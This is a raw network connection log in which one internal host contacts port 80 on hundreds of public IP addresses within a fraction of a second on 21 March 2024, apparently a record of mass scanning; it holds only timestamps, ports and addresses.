Mar 21, 2024 05:21:47.386776924 CET	49968	80	192.168.2.13	206.193.89.146
Mar 21, 2024 05:21:47.386780977 CET	49968	80	192.168.2.13	169.203.206.121
Mar 21, 2024 05:21:47.386790991 CET	49968	80	192.168.2.13	181.206.61.194
Mar 21, 2024 05:21:47.386809111 CET	49968	80	192.168.2.13	178.102.43.201
Mar 21, 2024 05:21:47.386816025 CET	49968	80	192.168.2.13	86.222.78.155
Mar 21, 2024 05:21:47.386832952 CET	49968	80	192.168.2.13	206.150.212.219
Mar 21, 2024 05:21:47.386836052 CET	49968	80	192.168.2.13	206.221.90.85
Mar 21, 2024 05:21:47.386841059 CET	49968	80	192.168.2.13	213.79.179.63
Mar 21, 2024 05:21:47.386848927 CET	49968	80	192.168.2.13	178.113.68.138
Mar 21, 2024 05:21:47.386851072 CET	49968	80	192.168.2.13	181.208.228.72
Mar 21, 2024 05:21:47.386851072 CET	49968	80	192.168.2.13	80.138.188.219
Mar 21, 2024 05:21:47.386859894 CET	49968	80	192.168.2.13	86.250.192.236
Mar 21, 2024 05:21:47.386868000 CET	49968	80	192.168.2.13	169.184.214.246
Mar 21, 2024 05:21:47.386877060 CET	49968	80	192.168.2.13	86.62.146.153
Mar 21, 2024 05:21:47.386878014 CET	49968	80	192.168.2.13	86.76.32.60
Mar 21, 2024 05:21:47.386887074 CET	49968	80	192.168.2.13	80.194.234.88
Mar 21, 2024 05:21:47.386909008 CET	49968	80	192.168.2.13	181.177.146.172
Mar 21, 2024 05:21:47.386909962 CET	49968	80	192.168.2.13	83.58.105.105
Mar 21, 2024 05:21:47.386917114 CET	49968	80	192.168.2.13	80.16.105.139
Mar 21, 2024 05:21:47.386928082 CET	49968	80	192.168.2.13	181.219.147.23
Mar 21, 2024 05:21:47.386934996 CET	49968	80	192.168.2.13	80.180.160.251
Mar 21, 2024 05:21:47.386949062 CET	49968	80	192.168.2.13	80.25.124.216
Mar 21, 2024 05:21:47.386954069 CET	49968	80	192.168.2.13	181.29.215.93
Mar 21, 2024 05:21:47.386956930 CET	49968	80	192.168.2.13	80.202.132.203
Mar 21, 2024 05:21:47.386982918 CET	49968	80	192.168.2.13	213.71.251.2
Mar 21, 2024 05:21:47.386982918 CET	49968	80	192.168.2.13	181.73.226.244
Mar 21, 2024 05:21:47.386985064 CET	49968	80	192.168.2.13	80.46.114.207
Mar 21, 2024 05:21:47.386992931 CET	49968	80	192.168.2.13	169.248.236.136
Mar 21, 2024 05:21:47.387000084 CET	49968	80	192.168.2.13	83.42.145.96
Mar 21, 2024 05:21:47.387001991 CET	49968	80	192.168.2.13	169.169.223.195
Mar 21, 2024 05:21:47.387001991 CET	49968	80	192.168.2.13	82.104.255.28
Mar 21, 2024 05:21:47.387008905 CET	49968	80	192.168.2.13	213.133.142.240
Mar 21, 2024 05:21:47.387010098 CET	49968	80	192.168.2.13	200.31.150.97
Mar 21, 2024 05:21:47.387010098 CET	49968	80	192.168.2.13	80.74.98.253
Mar 21, 2024 05:21:47.387017012 CET	49968	80	192.168.2.13	200.60.190.5
Mar 21, 2024 05:21:47.387023926 CET	49968	80	192.168.2.13	80.46.159.21
Mar 21, 2024 05:21:47.387029886 CET	49968	80	192.168.2.13	86.90.194.24
Mar 21, 2024 05:21:47.387038946 CET	49968	80	192.168.2.13	200.181.46.109
Mar 21, 2024 05:21:47.387048006 CET	49968	80	192.168.2.13	206.159.206.189
Mar 21, 2024 05:21:47.387048960 CET	49968	80	192.168.2.13	213.98.129.140
Mar 21, 2024 05:21:47.387056112 CET	49968	80	192.168.2.13	82.98.40.0
Mar 21, 2024 05:21:47.387057066 CET	49968	80	192.168.2.13	82.210.10.15
Mar 21, 2024 05:21:47.387063980 CET	49968	80	192.168.2.13	169.121.217.45
Mar 21, 2024 05:21:47.387075901 CET	49968	80	192.168.2.13	169.74.116.228
Mar 21, 2024 05:21:47.387075901 CET	49968	80	192.168.2.13	86.219.147.195
Mar 21, 2024 05:21:47.387079954 CET	49968	80	192.168.2.13	86.192.9.227
Mar 21, 2024 05:21:47.387089968 CET	49968	80	192.168.2.13	206.38.34.146
Mar 21, 2024 05:21:47.387099028 CET	49968	80	192.168.2.13	80.223.93.33
Mar 21, 2024 05:21:47.387099028 CET	49968	80	192.168.2.13	181.19.170.148
Mar 21, 2024 05:21:47.387099028 CET	49968	80	192.168.2.13	83.154.237.98
Mar 21, 2024 05:21:47.387115955 CET	49968	80	192.168.2.13	213.66.160.176
Mar 21, 2024 05:21:47.387115955 CET	49968	80	192.168.2.13	200.255.251.182
Mar 21, 2024 05:21:47.387129068 CET	49968	80	192.168.2.13	200.105.153.222
Mar 21, 2024 05:21:47.387129068 CET	49968	80	192.168.2.13	178.37.123.68
Mar 21, 2024 05:21:47.387150049 CET	49968	80	192.168.2.13	206.12.124.206
Mar 21, 2024 05:21:47.387150049 CET	49968	80	192.168.2.13	181.82.105.214
Mar 21, 2024 05:21:47.387152910 CET	49968	80	192.168.2.13	206.140.191.174
Mar 21, 2024 05:21:47.387152910 CET	49968	80	192.168.2.13	181.245.63.119
Mar 21, 2024 05:21:47.387152910 CET	49968	80	192.168.2.13	213.180.107.14
Mar 21, 2024 05:21:47.387167931 CET	49968	80	192.168.2.13	181.214.77.26
Mar 21, 2024 05:21:47.387176991 CET	49968	80	192.168.2.13	169.236.35.39
Mar 21, 2024 05:21:47.387182951 CET	49968	80	192.168.2.13	80.143.147.74
Mar 21, 2024 05:21:47.387182951 CET	49968	80	192.168.2.13	200.13.232.54
Mar 21, 2024 05:21:47.387190104 CET	49968	80	192.168.2.13	169.105.206.13
Mar 21, 2024 05:21:47.387197971 CET	49968	80	192.168.2.13	82.32.230.114
Mar 21, 2024 05:21:47.387204885 CET	49968	80	192.168.2.13	83.250.255.190
Mar 21, 2024 05:21:47.387217045 CET	49968	80	192.168.2.13	206.98.157.193
Mar 21, 2024 05:21:47.387234926 CET	49968	80	192.168.2.13	178.150.167.111
Mar 21, 2024 05:21:47.387234926 CET	49968	80	192.168.2.13	213.42.8.152
Mar 21, 2024 05:21:47.387242079 CET	49968	80	192.168.2.13	80.143.62.173
Mar 21, 2024 05:21:47.387250900 CET	49968	80	192.168.2.13	83.121.74.218
Mar 21, 2024 05:21:47.387252092 CET	49968	80	192.168.2.13	213.74.196.217
Mar 21, 2024 05:21:47.387254953 CET	49968	80	192.168.2.13	80.167.69.20
Mar 21, 2024 05:21:47.387263060 CET	49968	80	192.168.2.13	83.37.241.144
Mar 21, 2024 05:21:47.387263060 CET	49968	80	192.168.2.13	83.10.106.81
Mar 21, 2024 05:21:47.387279987 CET	49968	80	192.168.2.13	82.214.181.62
Mar 21, 2024 05:21:47.387281895 CET	49968	80	192.168.2.13	213.163.71.245
Mar 21, 2024 05:21:47.387281895 CET	49968	80	192.168.2.13	206.175.191.198
Mar 21, 2024 05:21:47.387281895 CET	49968	80	192.168.2.13	82.210.43.130
Mar 21, 2024 05:21:47.387286901 CET	49968	80	192.168.2.13	83.210.157.181
Mar 21, 2024 05:21:47.387293100 CET	49968	80	192.168.2.13	86.35.216.33
Mar 21, 2024 05:21:47.387295961 CET	49968	80	192.168.2.13	86.218.62.195
Mar 21, 2024 05:21:47.387300968 CET	49968	80	192.168.2.13	178.39.63.83
Mar 21, 2024 05:21:47.387300968 CET	49968	80	192.168.2.13	181.248.108.232
Mar 21, 2024 05:21:47.387309074 CET	49968	80	192.168.2.13	169.116.195.200
Mar 21, 2024 05:21:47.387322903 CET	49968	80	192.168.2.13	178.248.169.17
Mar 21, 2024 05:21:47.387322903 CET	49968	80	192.168.2.13	213.164.102.44
Mar 21, 2024 05:21:47.387322903 CET	49968	80	192.168.2.13	200.42.57.4
Mar 21, 2024 05:21:47.387332916 CET	49968	80	192.168.2.13	200.19.30.188
Mar 21, 2024 05:21:47.387335062 CET	49968	80	192.168.2.13	178.138.30.114
Mar 21, 2024 05:21:47.387347937 CET	49968	80	192.168.2.13	213.7.161.112
Mar 21, 2024 05:21:47.387350082 CET	49968	80	192.168.2.13	86.114.120.104
Mar 21, 2024 05:21:47.387350082 CET	49968	80	192.168.2.13	178.195.250.186
Mar 21, 2024 05:21:47.387352943 CET	49968	80	192.168.2.13	178.154.153.113
Mar 21, 2024 05:21:47.387362003 CET	49968	80	192.168.2.13	213.158.45.72
Mar 21, 2024 05:21:47.387363911 CET	49968	80	192.168.2.13	178.119.19.89
Mar 21, 2024 05:21:47.387379885 CET	49968	80	192.168.2.13	206.71.42.74
Mar 21, 2024 05:21:47.387382030 CET	50480	80	192.168.2.13	178.255.113.107
Mar 21, 2024 05:21:47.387384892 CET	50480	80	192.168.2.13	178.67.87.105
Mar 21, 2024 05:21:47.387384892 CET	50480	80	192.168.2.13	178.29.239.105
Mar 21, 2024 05:21:47.387407064 CET	49968	80	192.168.2.13	82.62.248.134
Mar 21, 2024 05:21:47.387408972 CET	49968	80	192.168.2.13	83.115.210.81
Mar 21, 2024 05:21:47.387413979 CET	49968	80	192.168.2.13	181.16.238.29
Mar 21, 2024 05:21:47.387413979 CET	49968	80	192.168.2.13	86.244.139.236
Mar 21, 2024 05:21:47.387413979 CET	50480	80	192.168.2.13	178.31.134.119
Mar 21, 2024 05:21:47.387423038 CET	50480	80	192.168.2.13	178.126.114.225
Mar 21, 2024 05:21:47.387423038 CET	50480	80	192.168.2.13	178.97.154.196
Mar 21, 2024 05:21:47.387423992 CET	50480	80	192.168.2.13	178.174.243.66
Mar 21, 2024 05:21:47.387425900 CET	50480	80	192.168.2.13	178.204.7.236
Mar 21, 2024 05:21:47.387439013 CET	50480	80	192.168.2.13	178.42.87.52
Mar 21, 2024 05:21:47.387439013 CET	49968	80	192.168.2.13	169.253.102.94
Mar 21, 2024 05:21:47.387444019 CET	49968	80	192.168.2.13	206.222.24.66
Mar 21, 2024 05:21:47.387444019 CET	49968	80	192.168.2.13	83.158.64.184
Mar 21, 2024 05:21:47.387449980 CET	49968	80	192.168.2.13	213.111.148.242
Mar 21, 2024 05:21:47.387449980 CET	49968	80	192.168.2.13	181.235.208.143
Mar 21, 2024 05:21:47.387451887 CET	50480	80	192.168.2.13	178.41.1.77
Mar 21, 2024 05:21:47.387451887 CET	49968	80	192.168.2.13	200.71.15.161
Mar 21, 2024 05:21:47.387454033 CET	49968	80	192.168.2.13	86.46.59.110
Mar 21, 2024 05:21:47.387454033 CET	49968	80	192.168.2.13	181.133.235.17
Mar 21, 2024 05:21:47.387463093 CET	49968	80	192.168.2.13	178.130.211.154
Mar 21, 2024 05:21:47.387475967 CET	49968	80	192.168.2.13	178.179.136.109
Mar 21, 2024 05:21:47.387475967 CET	49968	80	192.168.2.13	80.73.15.2
Mar 21, 2024 05:21:47.387475967 CET	50480	80	192.168.2.13	178.133.156.58
Mar 21, 2024 05:21:47.387475967 CET	50480	80	192.168.2.13	178.86.101.67
Mar 21, 2024 05:21:47.387490988 CET	49968	80	192.168.2.13	82.90.194.196
Mar 21, 2024 05:21:47.387492895 CET	49968	80	192.168.2.13	83.47.230.195
Mar 21, 2024 05:21:47.387492895 CET	50480	80	192.168.2.13	178.22.168.98
Mar 21, 2024 05:21:47.387494087 CET	49968	80	192.168.2.13	178.224.90.71
Mar 21, 2024 05:21:47.387494087 CET	50480	80	192.168.2.13	178.72.214.14
Mar 21, 2024 05:21:47.387505054 CET	50480	80	192.168.2.13	178.160.36.201
Mar 21, 2024 05:21:47.387505054 CET	50480	80	192.168.2.13	178.247.128.47
Mar 21, 2024 05:21:47.387510061 CET	50480	80	192.168.2.13	178.215.199.208
Mar 21, 2024 05:21:47.387511969 CET	50480	80	192.168.2.13	178.48.162.156
Mar 21, 2024 05:21:47.387511969 CET	49968	80	192.168.2.13	80.187.39.48
Mar 21, 2024 05:21:47.387526035 CET	50480	80	192.168.2.13	178.133.242.43
Mar 21, 2024 05:21:47.387527943 CET	49968	80	192.168.2.13	169.89.31.21
Mar 21, 2024 05:21:47.387527943 CET	49968	80	192.168.2.13	82.118.29.148
Mar 21, 2024 05:21:47.387527943 CET	49968	80	192.168.2.13	181.191.209.56
Mar 21, 2024 05:21:47.387530088 CET	50480	80	192.168.2.13	178.182.217.53
Mar 21, 2024 05:21:47.387531996 CET	49968	80	192.168.2.13	200.148.99.140
Mar 21, 2024 05:21:47.387535095 CET	49968	80	192.168.2.13	178.195.150.210
Mar 21, 2024 05:21:47.387535095 CET	50480	80	192.168.2.13	178.249.203.173
Mar 21, 2024 05:21:47.387537003 CET	50480	80	192.168.2.13	178.50.73.49
Mar 21, 2024 05:21:47.387541056 CET	49968	80	192.168.2.13	83.220.0.63
Mar 21, 2024 05:21:47.387548923 CET	50480	80	192.168.2.13	178.251.126.93
Mar 21, 2024 05:21:47.387550116 CET	49968	80	192.168.2.13	169.196.55.160
Mar 21, 2024 05:21:47.387548923 CET	49968	80	192.168.2.13	169.1.149.111
Mar 21, 2024 05:21:47.387550116 CET	49968	80	192.168.2.13	213.244.37.35
Mar 21, 2024 05:21:47.387553930 CET	50480	80	192.168.2.13	178.218.123.32
Mar 21, 2024 05:21:47.387559891 CET	50480	80	192.168.2.13	178.165.124.210
Mar 21, 2024 05:21:47.387559891 CET	50480	80	192.168.2.13	178.161.200.151
Mar 21, 2024 05:21:47.387561083 CET	49968	80	192.168.2.13	82.45.110.72
Mar 21, 2024 05:21:47.387559891 CET	49968	80	192.168.2.13	80.246.171.30
Mar 21, 2024 05:21:47.387561083 CET	50480	80	192.168.2.13	178.92.109.241
Mar 21, 2024 05:21:47.387567043 CET	49968	80	192.168.2.13	178.57.16.186
Mar 21, 2024 05:21:47.387567043 CET	50480	80	192.168.2.13	178.36.187.1
Mar 21, 2024 05:21:47.387579918 CET	50480	80	192.168.2.13	178.247.87.118
Mar 21, 2024 05:21:47.387579918 CET	49968	80	192.168.2.13	83.174.220.246
Mar 21, 2024 05:21:47.387588978 CET	50480	80	192.168.2.13	178.87.252.105
Mar 21, 2024 05:21:47.387599945 CET	49968	80	192.168.2.13	80.212.23.193
Mar 21, 2024 05:21:47.387599945 CET	49968	80	192.168.2.13	83.23.43.104
Mar 21, 2024 05:21:47.387602091 CET	49968	80	192.168.2.13	206.65.152.124
Mar 21, 2024 05:21:47.387607098 CET	49968	80	192.168.2.13	169.124.92.247
Mar 21, 2024 05:21:47.387612104 CET	49968	80	192.168.2.13	178.225.37.13
Mar 21, 2024 05:21:47.387602091 CET	49968	80	192.168.2.13	213.191.131.237
Mar 21, 2024 05:21:47.387612104 CET	49968	80	192.168.2.13	83.252.11.208
Mar 21, 2024 05:21:47.387602091 CET	49968	80	192.168.2.13	80.27.91.158
Mar 21, 2024 05:21:47.387602091 CET	49968	80	192.168.2.13	82.112.185.165
Mar 21, 2024 05:21:47.387626886 CET	49968	80	192.168.2.13	83.139.168.104
Mar 21, 2024 05:21:47.387631893 CET	50480	80	192.168.2.13	178.156.250.7
Mar 21, 2024 05:21:47.387631893 CET	49968	80	192.168.2.13	206.171.115.181
Mar 21, 2024 05:21:47.387631893 CET	50480	80	192.168.2.13	178.158.116.243
Mar 21, 2024 05:21:47.387631893 CET	49968	80	192.168.2.13	206.230.14.39
Mar 21, 2024 05:21:47.387634993 CET	49968	80	192.168.2.13	178.208.177.248
Mar 21, 2024 05:21:47.387634993 CET	50480	80	192.168.2.13	178.80.18.114
Mar 21, 2024 05:21:47.387640953 CET	50480	80	192.168.2.13	178.192.34.31
Mar 21, 2024 05:21:47.387640953 CET	50480	80	192.168.2.13	178.232.252.225
Mar 21, 2024 05:21:47.387641907 CET	49968	80	192.168.2.13	169.226.231.211
Mar 21, 2024 05:21:47.387641907 CET	49968	80	192.168.2.13	181.102.183.123
Mar 21, 2024 05:21:47.387641907 CET	50480	80	192.168.2.13	178.231.26.17
Mar 21, 2024 05:21:47.387648106 CET	50480	80	192.168.2.13	178.159.252.221
Mar 21, 2024 05:21:47.387650967 CET	49968	80	192.168.2.13	200.185.30.161
Mar 21, 2024 05:21:47.387650967 CET	49968	80	192.168.2.13	178.53.154.80
Mar 21, 2024 05:21:47.387659073 CET	50480	80	192.168.2.13	178.105.129.178
Mar 21, 2024 05:21:47.387660980 CET	50480	80	192.168.2.13	178.107.49.114
Mar 21, 2024 05:21:47.387661934 CET	49968	80	192.168.2.13	200.172.190.68
Mar 21, 2024 05:21:47.387661934 CET	50480	80	192.168.2.13	178.196.133.216
Mar 21, 2024 05:21:47.387665033 CET	50480	80	192.168.2.13	178.171.33.175
Mar 21, 2024 05:21:47.387670040 CET	50480	80	192.168.2.13	178.164.190.103
Mar 21, 2024 05:21:47.387670040 CET	49968	80	192.168.2.13	181.144.50.125
Mar 21, 2024 05:21:47.387685061 CET	50480	80	192.168.2.13	178.56.108.169
Mar 21, 2024 05:21:47.387687922 CET	50480	80	192.168.2.13	178.235.99.110
Mar 21, 2024 05:21:47.387690067 CET	49968	80	192.168.2.13	200.77.209.151
Mar 21, 2024 05:21:47.387690067 CET	49968	80	192.168.2.13	80.56.237.73
Mar 21, 2024 05:21:47.387691021 CET	50480	80	192.168.2.13	178.35.156.207
Mar 21, 2024 05:21:47.387692928 CET	50480	80	192.168.2.13	178.226.34.0
Mar 21, 2024 05:21:47.387701035 CET	50480	80	192.168.2.13	178.16.188.7
Mar 21, 2024 05:21:47.387701035 CET	50480	80	192.168.2.13	178.68.74.112
Mar 21, 2024 05:21:47.387711048 CET	50480	80	192.168.2.13	178.2.67.122
Mar 21, 2024 05:21:47.387715101 CET	49968	80	192.168.2.13	83.115.168.74
Mar 21, 2024 05:21:47.387722015 CET	50480	80	192.168.2.13	178.79.146.99
Mar 21, 2024 05:21:47.387722015 CET	50480	80	192.168.2.13	178.61.83.29
Mar 21, 2024 05:21:47.387725115 CET	50480	80	192.168.2.13	178.70.104.93
Mar 21, 2024 05:21:47.387725115 CET	50480	80	192.168.2.13	178.247.147.223
Mar 21, 2024 05:21:47.387726068 CET	50480	80	192.168.2.13	178.34.125.7
Mar 21, 2024 05:21:47.387728930 CET	50480	80	192.168.2.13	178.164.184.220
Mar 21, 2024 05:21:47.387731075 CET	49968	80	192.168.2.13	169.128.119.98
Mar 21, 2024 05:21:47.387731075 CET	49968	80	192.168.2.13	200.89.92.72
Mar 21, 2024 05:21:47.387753963 CET	49968	80	192.168.2.13	80.250.93.149
Mar 21, 2024 05:21:47.387756109 CET	49968	80	192.168.2.13	82.148.124.88
Mar 21, 2024 05:21:47.387756109 CET	49968	80	192.168.2.13	83.60.242.52
Mar 21, 2024 05:21:47.387757063 CET	49968	80	192.168.2.13	169.211.82.197
Mar 21, 2024 05:21:47.387764931 CET	49968	80	192.168.2.13	86.228.129.93
Mar 21, 2024 05:21:47.387775898 CET	50480	80	192.168.2.13	178.52.70.70
Mar 21, 2024 05:21:47.387775898 CET	49968	80	192.168.2.13	86.74.139.231
Mar 21, 2024 05:21:47.387777090 CET	49968	80	192.168.2.13	206.95.87.177
Mar 21, 2024 05:21:47.387780905 CET	50480	80	192.168.2.13	178.34.213.189
Mar 21, 2024 05:21:47.387780905 CET	49968	80	192.168.2.13	80.253.43.106
Mar 21, 2024 05:21:47.387783051 CET	50480	80	192.168.2.13	178.191.105.96
Mar 21, 2024 05:21:47.387783051 CET	49968	80	192.168.2.13	200.67.195.122
Mar 21, 2024 05:21:47.387787104 CET	50480	80	192.168.2.13	178.232.203.107
Mar 21, 2024 05:21:47.387800932 CET	50480	80	192.168.2.13	178.53.170.231
Mar 21, 2024 05:21:47.387810946 CET	49968	80	192.168.2.13	213.63.16.169
Mar 21, 2024 05:21:47.387811899 CET	49968	80	192.168.2.13	169.217.2.199
Mar 21, 2024 05:21:47.387821913 CET	50480	80	192.168.2.13	178.214.0.206
Mar 21, 2024 05:21:47.387826920 CET	50480	80	192.168.2.13	178.56.169.24
Mar 21, 2024 05:21:47.387826920 CET	49968	80	192.168.2.13	86.26.114.239
Mar 21, 2024 05:21:47.387840986 CET	49968	80	192.168.2.13	169.52.148.159
Mar 21, 2024 05:21:47.387844086 CET	50480	80	192.168.2.13	178.176.21.145
Mar 21, 2024 05:21:47.387846947 CET	50480	80	192.168.2.13	178.121.195.7
Mar 21, 2024 05:21:47.387846947 CET	50480	80	192.168.2.13	178.20.33.51
Mar 21, 2024 05:21:47.387860060 CET	50480	80	192.168.2.13	178.153.107.145
Mar 21, 2024 05:21:47.387860060 CET	50480	80	192.168.2.13	178.94.18.227
Mar 21, 2024 05:21:47.387861967 CET	50480	80	192.168.2.13	178.33.69.63
Mar 21, 2024 05:21:47.387861967 CET	49968	80	192.168.2.13	178.64.130.20
Mar 21, 2024 05:21:47.387862921 CET	50480	80	192.168.2.13	178.145.32.159
Mar 21, 2024 05:21:47.387875080 CET	50480	80	192.168.2.13	178.170.72.26
Mar 21, 2024 05:21:47.387878895 CET	49968	80	192.168.2.13	86.29.42.124
Mar 21, 2024 05:21:47.387880087 CET	49968	80	192.168.2.13	181.208.237.255
Mar 21, 2024 05:21:47.387881041 CET	49968	80	192.168.2.13	213.135.20.166
Mar 21, 2024 05:21:47.387886047 CET	49968	80	192.168.2.13	82.86.121.19
Mar 21, 2024 05:21:47.387897015 CET	49968	80	192.168.2.13	169.222.174.168
Mar 21, 2024 05:21:47.387913942 CET	50480	80	192.168.2.13	178.135.0.55
Mar 21, 2024 05:21:47.387913942 CET	50480	80	192.168.2.13	178.136.165.41
Mar 21, 2024 05:21:47.387916088 CET	50480	80	192.168.2.13	178.2.138.181
Mar 21, 2024 05:21:47.387916088 CET	49968	80	192.168.2.13	178.190.224.241
Mar 21, 2024 05:21:47.387919903 CET	50480	80	192.168.2.13	178.10.54.195
Mar 21, 2024 05:21:47.387919903 CET	50480	80	192.168.2.13	178.80.196.200
Mar 21, 2024 05:21:47.387923002 CET	50480	80	192.168.2.13	178.43.254.198
Mar 21, 2024 05:21:47.387918949 CET	50480	80	192.168.2.13	178.184.125.100
Mar 21, 2024 05:21:47.387927055 CET	49968	80	192.168.2.13	181.40.247.242
Mar 21, 2024 05:21:47.387928009 CET	50480	80	192.168.2.13	178.125.15.196
Mar 21, 2024 05:21:47.387928009 CET	49968	80	192.168.2.13	169.184.68.1
Mar 21, 2024 05:21:47.387939930 CET	49968	80	192.168.2.13	169.22.174.8
Mar 21, 2024 05:21:47.387942076 CET	49968	80	192.168.2.13	178.100.123.151
Mar 21, 2024 05:21:47.387943029 CET	50480	80	192.168.2.13	178.212.10.225
Mar 21, 2024 05:21:47.387945890 CET	49968	80	192.168.2.13	213.184.205.18
Mar 21, 2024 05:21:47.387947083 CET	49968	80	192.168.2.13	206.198.45.27
Mar 21, 2024 05:21:47.387963057 CET	50480	80	192.168.2.13	178.156.231.231
Mar 21, 2024 05:21:47.387964010 CET	50480	80	192.168.2.13	178.214.242.110
Mar 21, 2024 05:21:47.387968063 CET	49968	80	192.168.2.13	181.46.19.6
Mar 21, 2024 05:21:47.387969017 CET	49968	80	192.168.2.13	86.214.102.220
Mar 21, 2024 05:21:47.387969017 CET	50480	80	192.168.2.13	178.163.97.242
Mar 21, 2024 05:21:47.387972116 CET	49968	80	192.168.2.13	213.68.239.69
Mar 21, 2024 05:21:47.387976885 CET	49968	80	192.168.2.13	86.10.25.117
Mar 21, 2024 05:21:47.387988091 CET	50480	80	192.168.2.13	178.238.189.227
Mar 21, 2024 05:21:47.387988091 CET	50480	80	192.168.2.13	178.21.137.205
Mar 21, 2024 05:21:47.387991905 CET	50480	80	192.168.2.13	178.30.134.148
Mar 21, 2024 05:21:47.387991905 CET	50480	80	192.168.2.13	178.167.11.9
Mar 21, 2024 05:21:47.387994051 CET	50480	80	192.168.2.13	178.159.17.56
Mar 21, 2024 05:21:47.387996912 CET	50480	80	192.168.2.13	178.56.171.253
Mar 21, 2024 05:21:47.387999058 CET	49968	80	192.168.2.13	178.6.244.244
Mar 21, 2024 05:21:47.388005018 CET	49968	80	192.168.2.13	213.1.126.109
Mar 21, 2024 05:21:47.388005972 CET	49968	80	192.168.2.13	213.3.150.168
Mar 21, 2024 05:21:47.388010025 CET	50480	80	192.168.2.13	178.51.223.220
Mar 21, 2024 05:21:47.388012886 CET	50480	80	192.168.2.13	178.167.51.95
Mar 21, 2024 05:21:47.388017893 CET	49968	80	192.168.2.13	82.30.230.39
Mar 21, 2024 05:21:47.388019085 CET	49968	80	192.168.2.13	83.223.198.76
Mar 21, 2024 05:21:47.388020992 CET	49968	80	192.168.2.13	86.218.103.203
Mar 21, 2024 05:21:47.388020992 CET	50480	80	192.168.2.13	178.10.12.105
Mar 21, 2024 05:21:47.388024092 CET	50480	80	192.168.2.13	178.233.246.127
Mar 21, 2024 05:21:47.388026953 CET	50480	80	192.168.2.13	178.44.148.252
Mar 21, 2024 05:21:47.388026953 CET	50480	80	192.168.2.13	178.17.47.122
Mar 21, 2024 05:21:47.388029099 CET	50480	80	192.168.2.13	178.32.19.202
Mar 21, 2024 05:21:47.388030052 CET	50480	80	192.168.2.13	178.25.109.51
Mar 21, 2024 05:21:47.388030052 CET	50480	80	192.168.2.13	178.95.167.237
Mar 21, 2024 05:21:47.388036966 CET	50480	80	192.168.2.13	178.192.212.43
Mar 21, 2024 05:21:47.388055086 CET	49968	80	192.168.2.13	200.218.50.96
Mar 21, 2024 05:21:47.388056040 CET	50480	80	192.168.2.13	178.109.101.77
Mar 21, 2024 05:21:47.388055086 CET	49968	80	192.168.2.13	169.92.80.195
Mar 21, 2024 05:21:47.388058901 CET	50480	80	192.168.2.13	178.244.76.76
Mar 21, 2024 05:21:47.388062954 CET	49968	80	192.168.2.13	82.115.8.92
Mar 21, 2024 05:21:47.388065100 CET	50480	80	192.168.2.13	178.10.52.70
Mar 21, 2024 05:21:47.388071060 CET	50480	80	192.168.2.13	178.247.191.11
Mar 21, 2024 05:21:47.388071060 CET	49968	80	192.168.2.13	206.66.114.142
Mar 21, 2024 05:21:47.388077974 CET	49968	80	192.168.2.13	86.8.73.35
Mar 21, 2024 05:21:47.388087988 CET	50480	80	192.168.2.13	178.55.207.17
Mar 21, 2024 05:21:47.388087988 CET	49968	80	192.168.2.13	82.158.29.231
Mar 21, 2024 05:21:47.388087988 CET	50480	80	192.168.2.13	178.103.162.99
Mar 21, 2024 05:21:47.388092995 CET	49968	80	192.168.2.13	86.175.116.2
Mar 21, 2024 05:21:47.388096094 CET	49968	80	192.168.2.13	80.124.70.21
Mar 21, 2024 05:21:47.388096094 CET	49968	80	192.168.2.13	178.70.161.73
Mar 21, 2024 05:21:47.388096094 CET	49968	80	192.168.2.13	213.5.151.107
Mar 21, 2024 05:21:47.388096094 CET	49968	80	192.168.2.13	213.139.134.38
Mar 21, 2024 05:21:47.388096094 CET	49968	80	192.168.2.13	86.89.65.93
Mar 21, 2024 05:21:47.388096094 CET	49968	80	192.168.2.13	83.187.115.45
Mar 21, 2024 05:21:47.388098001 CET	50480	80	192.168.2.13	178.243.11.102
Mar 21, 2024 05:21:47.388098001 CET	49968	80	192.168.2.13	181.176.169.113
Mar 21, 2024 05:21:47.388101101 CET	49968	80	192.168.2.13	83.10.84.150
Mar 21, 2024 05:21:47.388108015 CET	49968	80	192.168.2.13	178.35.107.105
Mar 21, 2024 05:21:47.388108015 CET	49968	80	192.168.2.13	80.191.76.216
Mar 21, 2024 05:21:47.388108015 CET	49968	80	192.168.2.13	86.23.183.95
Mar 21, 2024 05:21:47.388113022 CET	49968	80	192.168.2.13	80.242.84.32
Mar 21, 2024 05:21:47.388113022 CET	49968	80	192.168.2.13	82.194.167.11
Mar 21, 2024 05:21:47.388117075 CET	49968	80	192.168.2.13	181.75.144.163
Mar 21, 2024 05:21:47.388117075 CET	50480	80	192.168.2.13	178.164.9.173
Mar 21, 2024 05:21:47.388117075 CET	49968	80	192.168.2.13	200.195.54.192
Mar 21, 2024 05:21:47.388118982 CET	50480	80	192.168.2.13	178.190.112.20
Mar 21, 2024 05:21:47.388125896 CET	49968	80	192.168.2.13	206.208.88.146
Mar 21, 2024 05:21:47.388125896 CET	50480	80	192.168.2.13	178.74.75.206
Mar 21, 2024 05:21:47.388130903 CET	50480	80	192.168.2.13	178.78.75.57
Mar 21, 2024 05:21:47.388130903 CET	49968	80	192.168.2.13	80.3.225.75
Mar 21, 2024 05:21:47.388130903 CET	49968	80	192.168.2.13	178.131.65.245
Mar 21, 2024 05:21:47.388138056 CET	50480	80	192.168.2.13	178.47.119.91
Mar 21, 2024 05:21:47.388140917 CET	49968	80	192.168.2.13	178.96.11.212
Mar 21, 2024 05:21:47.388142109 CET	49968	80	192.168.2.13	181.151.50.82
Mar 21, 2024 05:21:47.388138056 CET	49968	80	192.168.2.13	178.153.42.224
Mar 21, 2024 05:21:47.388144970 CET	49968	80	192.168.2.13	206.194.174.214
Mar 21, 2024 05:21:47.388138056 CET	50480	80	192.168.2.13	178.12.248.201
Mar 21, 2024 05:21:47.388142109 CET	50480	80	192.168.2.13	178.175.194.76
Mar 21, 2024 05:21:47.388140917 CET	50480	80	192.168.2.13	178.76.6.2
Mar 21, 2024 05:21:47.388142109 CET	50480	80	192.168.2.13	178.178.75.0
Mar 21, 2024 05:21:47.388149023 CET	50480	80	192.168.2.13	178.179.97.127
Mar 21, 2024 05:21:47.388173103 CET	49968	80	192.168.2.13	82.75.78.63
Mar 21, 2024 05:21:47.388173103 CET	50480	80	192.168.2.13	178.253.175.228
Mar 21, 2024 05:21:47.388173103 CET	49968	80	192.168.2.13	181.24.94.136
Mar 21, 2024 05:21:47.388175964 CET	49968	80	192.168.2.13	200.255.161.55
Mar 21, 2024 05:21:47.388180971 CET	50480	80	192.168.2.13	178.133.80.80
Mar 21, 2024 05:21:47.388180971 CET	50480	80	192.168.2.13	178.9.7.135
Mar 21, 2024 05:21:47.388181925 CET	49968	80	192.168.2.13	213.200.1.76
